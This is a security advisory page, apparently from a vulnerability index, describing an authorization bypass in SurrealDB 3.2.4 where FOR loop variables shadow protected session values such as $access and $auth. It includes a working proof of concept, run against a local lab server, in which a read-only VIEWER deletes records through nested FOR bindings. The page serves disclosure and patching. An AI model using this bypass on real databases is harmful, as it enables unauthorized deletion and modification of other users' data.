GHSA-FFVM-MQH3-7986
SurrealDB 3.2.4 allows FOR loop variables named $access, $auth, and $token to shadow the authenticated session values used by table permission expressions.
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-FFVM-MQH3-7986 divulgada | |
| Remediación | Parche 4.0.0 | surrealdb · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Details
SurrealDB documents $access, $auth, $token, and $session as protected variables that cannot be overwritten. Direct assignments are correctly rejected:
LET $access = 'album_like_writer';
Result:
"'access' is a protected variable and cannot be set"
However, the parser accepts the same name as a FOR variable:
FOR $access IN ['album_like_writer'] {
...
};
The loop executor inserts that value into a child evaluation context without checking whether the name is protected. Context lookup returns the child value before consulting the authenticated value in the parent context. Table permissions evaluated within the loop
consequently receive the attacker-controlled value.
Relevant SurrealDB 3.2.4 source at commit 93ab219d69f09d8f999851b0359c80ebe6726102:
• - Protected parameter definitions
https://github.com/surrealdb/surrealdb/blob/93ab219d69f09d8f999851b0359c80ebe6726102/surrealdb/core/src/cnf/mod.rs#L23
- FOR variable parsing
- FOR variable insertion into the context
- Context::add_value
- Local-first context lookup
- Table-permission evaluation
Closure arguments appear to use a similar binding path, but closure exploitation has not been confirmed.
PoC
The following was reproduced against:
SurrealDB 3.2.4+20260803.93ab219
Start a disposable in-memory server:
surreal start \
--bind 127.0.0.1:8000 \
--user root \
--pass synthetic-root-password \
--deny-net \
--deny-guests \
--deny-scripting \
memory
In another terminal, create the synthetic database, VIEWER user, permission policy, and target record:
surreal sql \
--endpoint ws://127.0.0.1:8000 \
--namespace shadow \
--database poc \
--auth-level root \
--username root \
--password synthetic-root-password <<'SURQL'
DEFINE USER catalog_reader ON DATABASE
PASSWORD 'synthetic-reader-password'
ROLES VIEWER;
DEFINE TABLE users SCHEMALESS PERMISSIONS NONE;
DEFINE TABLE albumlikes SCHEMALESS
PERMISSIONS
FOR SELECT, DELETE WHERE
$access = 'album_like_writer'
AND $token.like = false
AND $auth = users:alice
FOR CREATE, UPDATE NONE;
CREATE users:alice;
CREATE albumlikes:one CONTENT {
data: {
user: 'alice',
album: 'album-one'
}
};
SURQL
Connect as the database-level VIEWER and establish the negative control:
surreal sql \
--endpoint ws://127.0.0.1:8000 \
--namespace shadow \
--database poc \
--auth-level database \
--username catalog_reader \
--password synthetic-reader-password <<'SURQL'
DELETE albumlikes RETURN BEFORE;
SELECT * FROM albumlikes;
LET $access = 'album_like_writer';
SURQL
The direct DELETE returns [], and the following SELECT shows that albumlikes:one remains present. The LET statement is rejected because access is protected.
Run the exploit through nested FOR bindings:
FOR $access IN ['album_like_writer'] {
FOR $token IN [{ like: false }] {
FOR $auth IN [users:alice] {
DELETE albumlikes RETURN BEFORE;
};
};
};
SELECT * FROM albumlikes;
Observed result:
-- FOR query
NONE
-- final SELECT
[]
The final empty result confirms that the VIEWER deleted albumlikes:one. The same session’s direct DELETE was denied.
Impact
This is a table-permission and row-level authorization bypass, broadly categorized as CWE-284: Improper Access Control.
An attacker needs the ability to submit arbitrary SurrealQL to an affected database. This commonly includes applications that expose database or record-user SDK access directly to clients.
Where permission predicates trust $access, $auth, $token, or potentially $session, an attacker may be able to:
- Read records outside their authorized scope.
- Create or modify records using a forged logical identity or token scope.
- Delete records despite having only the VIEWER database role.
- Bypass caller, tenant, target, or operation restrictions encoded in table permissions.
The tested case confirms unauthorized deletion by a database VIEWER. Anonymous sessions, record-access sessions, closure arguments, other storage engines, and versions other than 3.2.4 have not yet been tested.
Patches
A patch has been created that refuses a protected name (such as `$access` or `$auth`) as a FOR-loop, closure, or function parameter, so a reserved parameter can no longer be shadowed.
- Version 4.0.0 and later are not affected by this issue.
References
- `fix(sec): refuse a protected name as a FOR, closure or function parameter` (commit `0e7a509f5a`)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 4.0.0 | 0 d | 4.0.1 no afectada |
4.0.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-ffvm-mqh3-7986Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
